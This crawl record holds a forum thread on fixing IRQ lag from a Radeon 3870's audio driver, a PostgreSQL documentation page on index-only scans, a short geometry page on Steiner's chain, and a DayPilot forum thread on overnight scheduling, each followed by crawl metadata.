I have Qfan enabled on my mobo. Everytime I boot it throws an error message about the fan. This is because my fan is running very slow because my temps are very low. So I just ignore it. However since installing the new card at post I no longer get the error message. So I went into the bios and the fan was running faster for some reason. So it is possible that from the second I boot core 2 is being loaded up causing the increase in temp to increase and therefore the fan to throttle up.
Thanks for the advice I will try it and hope it works.
I knew it. :p I had a similar issue with a mouse and got tons of "WTF, you can't have 50% CPU usage with no processes using that, etc. etc." and eventually stumbled upon the concept of hardware interrupts.
Dealing with it is the difficult part, it's going to differ in each situation. Best of luck to you. :)
I tried disabling the audio from the bios but that didn't solve it. However you bring uo a good point that I forgot about. When I checked my devices the card had not got its own audio. Normally when installing a 3000/2000 series card you have to switch the audio back to defualt because the card changes it. This is something that I have not had to do. The card doesn't appear in the device manager with any audio and neither does it appear in any of the audio settings.
Edit: I forgot to say the card is assigned an IRQ 18. I thought there were only 15 IRQ's.
Did you try installing the drivers? Could be that the computer is having difficulty controlling the sound and video capabilities of your 3870. You mentioned your drivers weren't installed... most of the time that does result in slower performance. I'd try the drivers to see if they might be causing an isue.
I've done it. It was an issue with the sound. In the device manager there is a device in System devices called Microsoft UAA Bus Driver for High Definition Audio. I disabled it and bam the interupt is gone.
Its crazy the amount of times I have told people about the audio on these cards and I forgot about it myself.
Quote:
I've done it. It was an issue with the sound. In the device manager there is a device in System devices called Microsoft UAA Bus Driver for High Definition Audio. I disabled it and bam the interupt is gone.
Awesome!
Quote:
Its crazy the amount of times I have told people about the audio on these cards and I forgot about it myself.
Yeah, I almost forgot about it my self, but then I remembered a few people complaining about laggy computers and their onboard sound no longer working.
Glad you got it resolved though. :)
thanks for digging up this issue. i'm also having this problem with the iceq3 3870.
i currently have onboard sound disabled and am using pci creative x-fi. my guess is that the x-fi is trying to hog the same irq as the 3870's audio device.
i will try to disabled plug'n'play from the bios, and see if it will do a better job of assigning irqs. otherwise, i'll move the x-fi to a different slot and see if i can give it a new irq that doesn't conflict.
!
|
{
"url": "http://www.tomshardware.com/forum/248873-33-strange-3870-problem",
"source_domain": "www.tomshardware.com",
"snapshot_id": "crawl=CC-MAIN-2013-20",
"warc_metadata": {
"Content-Length": "174614",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4ZUJBCLQHYSKOBTM6EIOQ43PYSIG6OYP",
"WARC-Concurrent-To": "<urn:uuid:83457e0d-170d-4f00-b584-d82a93d0ea27>",
"WARC-Date": "2013-05-23T10:12:46Z",
"WARC-IP-Address": "184.51.126.40",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:VKE2JXGKCHVYMGPUAS4ZYJGGQP5MUQA6",
"WARC-Record-ID": "<urn:uuid:370104c6-5927-4a2a-a554-5698a0d752d4>",
"WARC-Target-URI": "http://www.tomshardware.com/forum/248873-33-strange-3870-problem",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c60081e3-917c-4dbb-9bce-2b89b91f0c79>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-60-113-184.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-20\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Spring 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
13,
31,
32,
53,
54,
92,
98,
99,
558,
559,
945,
946,
1268,
1269,
1392,
1393,
1400,
1407,
1422,
1446,
1459,
1481,
1482,
1646,
1647,
1681,
1682,
2044,
2063,
2064,
2274,
2275,
2450,
2451,
2687,
2688,
3116,
3117,
3324,
3325,
3356,
3847,
3848,
3903,
3904,
4111,
4112,
4216,
4217,
4688,
4689,
4779,
4780,
5089,
5090,
5297,
5298,
5408,
5409,
5416,
5623,
5632,
5633,
5640,
5750,
5902,
5903,
5940,
5941,
6025,
6026,
6182,
6183,
6395
],
"line_end_idx": [
13,
31,
32,
53,
54,
92,
98,
99,
558,
559,
945,
946,
1268,
1269,
1392,
1393,
1400,
1407,
1422,
1446,
1459,
1481,
1482,
1646,
1647,
1681,
1682,
2044,
2063,
2064,
2274,
2275,
2450,
2451,
2687,
2688,
3116,
3117,
3324,
3325,
3356,
3847,
3848,
3903,
3904,
4111,
4112,
4216,
4217,
4688,
4689,
4779,
4780,
5089,
5090,
5297,
5298,
5408,
5409,
5416,
5623,
5632,
5633,
5640,
5750,
5902,
5903,
5940,
5941,
6025,
6026,
6182,
6183,
6395,
6396
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6396,
"ccnet_original_nlines": 74,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.48072880506515503,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.057463210076093674,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.13875262439250946,
"rps_doc_frac_unique_words": 0.35094961524009705,
"rps_doc_mean_word_length": 4.091660022735596,
"rps_doc_num_sentences": 91,
"rps_doc_symbol_to_word_ratio": 0.0021023100707679987,
"rps_doc_unigram_entropy": 5.328831195831299,
"rps_doc_word_count": 1211,
"rps_doc_frac_chars_dupe_10grams": 0.10090816766023636,
"rps_doc_frac_chars_dupe_5grams": 0.10090816766023636,
"rps_doc_frac_chars_dupe_6grams": 0.10090816766023636,
"rps_doc_frac_chars_dupe_7grams": 0.10090816766023636,
"rps_doc_frac_chars_dupe_8grams": 0.10090816766023636,
"rps_doc_frac_chars_dupe_9grams": 0.10090816766023636,
"rps_doc_frac_chars_top_2gram": 0.014127139933407307,
"rps_doc_frac_chars_top_3gram": 0.01291625015437603,
"rps_doc_frac_chars_top_4gram": 0.010898079723119736,
"rps_doc_books_importance": -674.0304565429688,
"rps_doc_books_importance_length_correction": -674.0304565429688,
"rps_doc_openwebtext_importance": -391.44903564453125,
"rps_doc_openwebtext_importance_length_correction": -391.44903564453125,
"rps_doc_wikipedia_importance": -249.16798400878906,
"rps_doc_wikipedia_importance_length_correction": -249.16798400878906
},
"fasttext": {
"dclm": 0.09921532869338989,
"english": 0.9762917757034302,
"fineweb_edu_approx": 1.352871060371399,
"eai_general_math": 0.4462314248085022,
"eai_open_web_math": 0.17407691478729248,
"eai_web_code": 0.27270686626434326
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.17",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,950,001,648,786,050,000 |
This page in other versions: 9.6 / current (10) | Development versions: devel
11.11. Index-Only Scans
All indexes in PostgreSQL are secondary indexes, meaning that each index is stored separately from the table's main data area (which is called the table's heap in PostgreSQL terminology). This means that in an ordinary index scan, each row retrieval requires fetching data from both the index and the heap. Furthermore, while the index entries that match a given indexable WHERE condition are usually close together in the index, the table rows they reference might be anywhere in the heap. The heap-access portion of an index scan thus involves a lot of random access into the heap, which can be slow, particularly on traditional rotating media. (As described in Section 11.5, bitmap scans try to alleviate this cost by doing the heap accesses in sorted order, but that only goes so far.)
To solve this performance problem, PostgreSQL supports index-only scans, which can answer queries from an index alone without any heap access. The basic idea is to return values directly out of each index entry instead of consulting the associated heap entry. There are two fundamental restrictions on when this method can be used:
1. The index type must support index-only scans. B-tree indexes always do. GiST and SP-GiST indexes support index-only scans for some operator classes but not others. Other index types have no support. The underlying requirement is that the index must physically store, or else be able to reconstruct, the original data value for each index entry. As a counterexample, GIN indexes cannot support index-only scans because each index entry typically holds only part of the original data value.
2. The query must reference only columns stored in the index. For example, given an index on columns x and y of a table that also has a column z, these queries could use index-only scans:
SELECT x, y FROM tab WHERE x = 'key';
SELECT x FROM tab WHERE x = 'key' AND y < 42;
but these queries could not:
SELECT x, z FROM tab WHERE x = 'key';
SELECT x FROM tab WHERE x = 'key' AND z < 42;
(Expression indexes and partial indexes complicate this rule, as discussed below.)
If these two fundamental requirements are met, then all the data values required by the query are available from the index, so an index-only scan is physically possible. But there is an additional requirement for any table scan in PostgreSQL: it must verify that each retrieved row be "visible" to the query's MVCC snapshot, as discussed in Chapter 13. Visibility information is not stored in index entries, only in heap entries; so at first glance it would seem that every row retrieval would require a heap access anyway. And this is indeed the case, if the table row has been modified recently. However, for seldom-changing data there is a way around this problem. PostgreSQL tracks, for each page in a table's heap, whether all rows stored in that page are old enough to be visible to all current and future transactions. This information is stored in a bit in the table's visibility map. An index-only scan, after finding a candidate index entry, checks the visibility map bit for the corresponding heap page. If it's set, the row is known visible and so the data can be returned with no further work. If it's not set, the heap entry must be visited to find out whether it's visible, so no performance advantage is gained over a standard index scan. Even in the successful case, this approach trades visibility map accesses for heap accesses; but since the visibility map is four orders of magnitude smaller than the heap it describes, far less physical I/O is needed to access it. In most situations the visibility map remains cached in memory all the time.
In short, while an index-only scan is possible given the two fundamental requirements, it will be a win only if a significant fraction of the table's heap pages have their all-visible map bits set. But tables in which a large fraction of the rows are unchanging are common enough to make this type of scan very useful in practice.
To make effective use of the index-only scan feature, you might choose to create indexes in which only the leading columns are meant to match WHERE clauses, while the trailing columns hold "payload" data to be returned by a query. For example, if you commonly run queries like
SELECT y FROM tab WHERE x = 'key';
the traditional approach to speeding up such queries would be to create an index on x only. However, an index on (x, y) would offer the possibility of implementing this query as an index-only scan. As previously discussed, such an index would be larger and hence more expensive than an index on x alone, so this is attractive only if the table is known to be mostly static. Note it's important that the index be declared on (x, y) not (y, x), as for most index types (particularly B-trees) searches that do not constrain the leading index columns are not very efficient.
In principle, index-only scans can be used with expression indexes. For example, given an index on f(x) where x is a table column, it should be possible to execute
SELECT f(x) FROM tab WHERE f(x) < 1;
as an index-only scan; and this is very attractive if f() is an expensive-to-compute function. However, PostgreSQL's planner is currently not very smart about such cases. It considers a query to be potentially executable by index-only scan only when all columns needed by the query are available from the index. In this example, x is not needed except in the context f(x), but the planner does not notice that and concludes that an index-only scan is not possible. If an index-only scan seems sufficiently worthwhile, this can be worked around by declaring the index to be on (f(x), x), where the second column is not expected to be used in practice but is just there to convince the planner that an index-only scan is possible. An additional caveat, if the goal is to avoid recalculating f(x), is that the planner won't necessarily match uses of f(x) that aren't in indexable WHERE clauses to the index column. It will usually get this right in simple queries such as shown above, but not in queries that involve joins. These deficiencies may be remedied in future versions of PostgreSQL.
Partial indexes also have interesting interactions with index-only scans. Consider the partial index shown in Example 11-3:
CREATE UNIQUE INDEX tests_success_constraint ON tests (subject, target)
WHERE success;
In principle, we could do an index-only scan on this index to satisfy a query like
SELECT target FROM tests WHERE subject = 'some-subject' AND success;
But there's a problem: the WHERE clause refers to success which is not available as a result column of the index. Nonetheless, an index-only scan is possible because the plan does not need to recheck that part of the WHERE clause at run time: all entries found in the index necessarily have success = true so this need not be explicitly checked in the plan. PostgreSQL versions 9.6 and later will recognize such cases and allow index-only scans to be generated, but older versions will not.
Submit correction
If you see anything in the documentation that is not correct, does not match your experience with the particular feature or requires further clarification, please use this form to report a documentation issue.
Privacy Policy | About PostgreSQL
Copyright © 1996-2018 The PostgreSQL Global Development Group
|
{
"url": "https://www.postgresql.org/docs/9.6/static/indexes-index-only-scans.html",
"source_domain": "www.postgresql.org",
"snapshot_id": "crawl=CC-MAIN-2018-09",
"warc_metadata": {
"Content-Length": "14067",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DX4IJIKNGKQKESFPSAEKS5OSHKE57WJU",
"WARC-Concurrent-To": "<urn:uuid:3b493996-565e-4e46-9405-3614e96e965f>",
"WARC-Date": "2018-02-24T16:37:25Z",
"WARC-IP-Address": "87.238.57.232",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:O2N55PNJS6UUH7NIRNCQPSK745U42VY4",
"WARC-Record-ID": "<urn:uuid:46bad605-f8ae-4cbd-ab23-cc8f8e0ac4e7>",
"WARC-Target-URI": "https://www.postgresql.org/docs/9.6/static/indexes-index-only-scans.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4b4910a3-b881-4f41-ad77-e41892004980>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-168-188-114.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-09\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for February 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
80,
81,
105,
106,
896,
897,
1229,
1230,
1724,
1725,
1915,
1916,
1964,
2014,
2015,
2048,
2049,
2097,
2147,
2148,
2235,
2236,
3800,
3801,
4132,
4133,
4410,
4411,
4448,
4449,
5020,
5021,
5185,
5186,
5225,
5226,
6316,
6317,
6441,
6442,
6516,
6535,
6536,
6619,
6620,
6691,
6692,
7183,
7184,
7202,
7203,
7413,
7414,
7448
],
"line_end_idx": [
80,
81,
105,
106,
896,
897,
1229,
1230,
1724,
1725,
1915,
1916,
1964,
2014,
2015,
2048,
2049,
2097,
2147,
2148,
2235,
2236,
3800,
3801,
4132,
4133,
4410,
4411,
4448,
4449,
5020,
5021,
5185,
5186,
5225,
5226,
6316,
6317,
6441,
6442,
6516,
6535,
6536,
6619,
6620,
6691,
6692,
7183,
7184,
7202,
7203,
7413,
7414,
7448,
7509
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 7509,
"ccnet_original_nlines": 54,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.43915003538131714,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026400519534945488,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16613006591796875,
"rps_doc_frac_unique_words": 0.3309467136859894,
"rps_doc_mean_word_length": 4.700875282287598,
"rps_doc_num_sentences": 56,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.294878959655762,
"rps_doc_word_count": 1257,
"rps_doc_frac_chars_dupe_10grams": 0.014215599745512009,
"rps_doc_frac_chars_dupe_5grams": 0.053816210478544235,
"rps_doc_frac_chars_dupe_6grams": 0.036892879754304886,
"rps_doc_frac_chars_dupe_7grams": 0.025723470374941826,
"rps_doc_frac_chars_dupe_8grams": 0.025723470374941826,
"rps_doc_frac_chars_dupe_9grams": 0.014215599745512009,
"rps_doc_frac_chars_top_2gram": 0.017600269988179207,
"rps_doc_frac_chars_top_3gram": 0.02538500912487507,
"rps_doc_frac_chars_top_4gram": 0.01100017037242651,
"rps_doc_books_importance": -801.0913696289062,
"rps_doc_books_importance_length_correction": -801.0913696289062,
"rps_doc_openwebtext_importance": -413.1211242675781,
"rps_doc_openwebtext_importance_length_correction": -413.1211242675781,
"rps_doc_wikipedia_importance": -343.636962890625,
"rps_doc_wikipedia_importance_length_correction": -343.636962890625
},
"fasttext": {
"dclm": 0.3077145218849182,
"english": 0.9006588459014893,
"fineweb_edu_approx": 2.5905890464782715,
"eai_general_math": 0.9842298626899719,
"eai_open_web_math": 0.3133010268211365,
"eai_web_code": 0.987839937210083
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.746",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,678,693,656,034,843,600 |
Steiner's Chain: What is it?
A Mathematical Droodle
This applet requires Sun's Java VM 2 which your browser may perceive as a popup. Which it is not. If you want to see the applet work, visit Sun's website at https://www.java.com/en/download/index.jsp, download and install Java VM and enjoy the applet.
What if applet does not run?
The applet offers one illustration of Jacob Steiner's wonderful theorem that says that, for two concentric circles, either there exists a closed chain of circles tangent to the given two as well as to their immediate neighbors in the chain, or such a chain does not exist. In the former case, the chain could be started at the arbitrary location in the ring between the two circles.
A transparent proof makes use of the inversion transform.
|Activities| |Contact| |Front page| |Contents| |Geometry|
Copyright © 1996-2018 Alexander Bogomolny
64844354
|
{
"url": "https://www.cut-the-knot.org/Curriculum/Geometry/SteinerChain.shtml",
"source_domain": "www.cut-the-knot.org",
"snapshot_id": "crawl=CC-MAIN-2019-22",
"warc_metadata": {
"Content-Length": "11378",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5TAHBEGRI6SECX53Q5Q3443QE3OUTXQK",
"WARC-Concurrent-To": "<urn:uuid:cdd9995e-2b8f-495b-be37-83c15022f081>",
"WARC-Date": "2019-05-22T22:25:54Z",
"WARC-IP-Address": "107.180.50.227",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RDGSUMZPLEYRZI6SS4S6DDCZLQLLID6H",
"WARC-Record-ID": "<urn:uuid:4de6925b-b4d0-4388-a317-00d775f091fa>",
"WARC-Target-URI": "https://www.cut-the-knot.org/Curriculum/Geometry/SteinerChain.shtml",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3015c8b0-c365-4cbd-91f8-b50583466882>"
},
"warc_info": "isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-47-182-244.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
29,
52,
53,
54,
306,
307,
308,
337,
338,
721,
722,
780,
781,
839,
840,
882,
883
],
"line_end_idx": [
29,
52,
53,
54,
306,
307,
308,
337,
338,
721,
722,
780,
781,
839,
840,
882,
883,
892
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 892,
"ccnet_original_nlines": 17,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3645833432674408,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02083333022892475,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.21875,
"rps_doc_frac_unique_words": 0.6573426723480225,
"rps_doc_mean_word_length": 4.902097702026367,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.322207450866699,
"rps_doc_word_count": 143,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03851640969514847,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -77.01097869873047,
"rps_doc_books_importance_length_correction": -77.01097869873047,
"rps_doc_openwebtext_importance": -34.79424285888672,
"rps_doc_openwebtext_importance_length_correction": -26.395357131958008,
"rps_doc_wikipedia_importance": -53.26353073120117,
"rps_doc_wikipedia_importance_length_correction": -53.26353073120117
},
"fasttext": {
"dclm": 0.047012750059366226,
"english": 0.9358003735542297,
"fineweb_edu_approx": 1.9420921802520752,
"eai_general_math": 0.5758172273635864,
"eai_open_web_math": 0.29921507835388184,
"eai_web_code": 0.001785989967174828
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "516.2",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
},
"secondary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-2,854,052,664,698,741,000 |
search envelope-o feed check
Home Unanswered Active Tags New Question
user comment-o
Logical overnight scheduling
Asked by Paul Muller
2 years ago.
https://doc.daypilot.org/calendar/overnight-scheduling/ documents how overnight scheduling works. I understand how it's done but that doesn't make sense to me - particularly because the component is marketed as an "event calendar component displays an Outlook-like day/week view."
Wouldn't it be way more logical to keep the begin/end hours as-is and support dragging events across day boundaries as Outlook and other calendars offer? What if one event spans from 4pm to 10am and the next from 8pm to 6am? How can this be achieved?
Answer posted by Dan Letecky [DayPilot]
2 years ago.
Hi Paul,
This feature is not intended as a workaround for displaying long events. It's designed for views where the day boundaries are shifted - e.g. tv listings.
The calendar will display events spanning multiple days. However, drag and drop moving is not enabled for such events. The reasons are mostly historical but the fact is that the Calendar component is not a good tool to handle such events (you are always missing important parts of the event when moving it). It's much better to use the Scheduler which lets you adjust the scale so you will see the whole event and the context (including possible overlaps, disabled areas, etc.).
Comment posted by Paul Muller
2 years ago.
Hi Dan,
Thanks for the feedback. I hear what you are saying. I haven't actually thought about using the scheduler for my project - it didn't initially seem like a good fit.
> drag and drop moving is not enabled for such events
Does that mean it's actually configurable i.e. I _could_ turn it on if desired?
Let me briefly describe what I'm after.
I need an elegant way for a user to configure a weekly power-saving plan for a device. Each event i.e. a block in the calendar represents a phase during which the device sleeps. A typical configuration might be:
A) Mon/Tue/Wed/Thu 8pm-6am (the following day)
B) Fri 6pm-midnight
C) Sat/Sun full day
D) Mon midnight-6am
B-D actually form a single event
So, rather than giving the user an (initially empty) collection of "from day + time -> to day + time", each represented by dropdown, textfield, dropdown, textfield and add/remove/clone/move-up/move-down/etc. actions, I thought about using a stripped down week calendar as a more convenient UI component.
There can't be any overlaps or disabled areas as they wouldn't make sense for the use case.
Would the scheduler work for this?
Comment posted by Dan Letecky [DayPilot]
2 years ago.
Hi Paul,
With the Scheduler, there are two options:
1. You can display a single row/resources a display the full week there. Something like this, just with one row:
https://javascript.daypilot.org/demo/scheduler/scalehours.html
However, scrolling would be necessary to view the whole week.
2. The Scheduler supports "Days" mode which lets you create a week view similar to the one created with the Calendar but with switched axes:
https://javascript.daypilot.org/demo/scheduler/timesheet.html
This gives a better overview of a full week on a single screen. The moving isn't perfect there either (the target position indicator doesn't show the next day) but it works. Unlike in the Calendar, it's worth fixing it in the Scheduler - if this kind of view worked for you.
Comment posted by Paul Muller
2 years ago.
Thank you so much, Dan.
That time sheet looks really nice. If I could drag event boundaries across days it would be close to perfect. As we're not making money with our software (open-source) we won't be able to afford a Pro license, though.
Still, thanks a lot for your support. I now have a much better understanding of what DayPilot can do (a lot!).
This question is more than 3 months old and has been closed. Please create a new question if you have anything to add.
|
{
"url": "https://forums.daypilot.org/question/4633/logical-overnight-scheduling",
"source_domain": "forums.daypilot.org",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "24708",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YLKQBESYESAEYRVW2LUJVIQB5YCRGFGR",
"WARC-Concurrent-To": "<urn:uuid:53f08e87-7e7d-46f0-9363-d05ef1ad37bc>",
"WARC-Date": "2021-12-04T13:59:14Z",
"WARC-IP-Address": "35.185.109.143",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WD4TJMVZQKQOHOVCVBPSO6VIH4HNEFQM",
"WARC-Record-ID": "<urn:uuid:80003fcd-d458-4a13-b693-98c5e89fe8ae>",
"WARC-Target-URI": "https://forums.daypilot.org/question/4633/logical-overnight-scheduling",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0ad2b905-e82a-40a3-910d-7477e4d4668a>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-176\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
29,
70,
85,
86,
115,
116,
137,
150,
151,
432,
433,
684,
685,
725,
738,
739,
748,
749,
903,
904,
1383,
1384,
1414,
1427,
1428,
1436,
1437,
1602,
1603,
1657,
1658,
1738,
1739,
1779,
1780,
1992,
2039,
2059,
2079,
2099,
2100,
2133,
2134,
2438,
2530,
2531,
2566,
2567,
2608,
2621,
2622,
2631,
2632,
2675,
2676,
2789,
2790,
2853,
2854,
2916,
2917,
3058,
3059,
3121,
3122,
3397,
3398,
3428,
3441,
3442,
3466,
3467,
3685,
3686,
3797,
3798
],
"line_end_idx": [
29,
70,
85,
86,
115,
116,
137,
150,
151,
432,
433,
684,
685,
725,
738,
739,
748,
749,
903,
904,
1383,
1384,
1414,
1427,
1428,
1436,
1437,
1602,
1603,
1657,
1658,
1738,
1739,
1779,
1780,
1992,
2039,
2059,
2079,
2099,
2100,
2133,
2134,
2438,
2530,
2531,
2566,
2567,
2608,
2621,
2622,
2631,
2632,
2675,
2676,
2789,
2790,
2853,
2854,
2916,
2917,
3058,
3059,
3121,
3122,
3397,
3398,
3428,
3441,
3442,
3466,
3467,
3685,
3686,
3797,
3798,
3916
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3916,
"ccnet_original_nlines": 76,
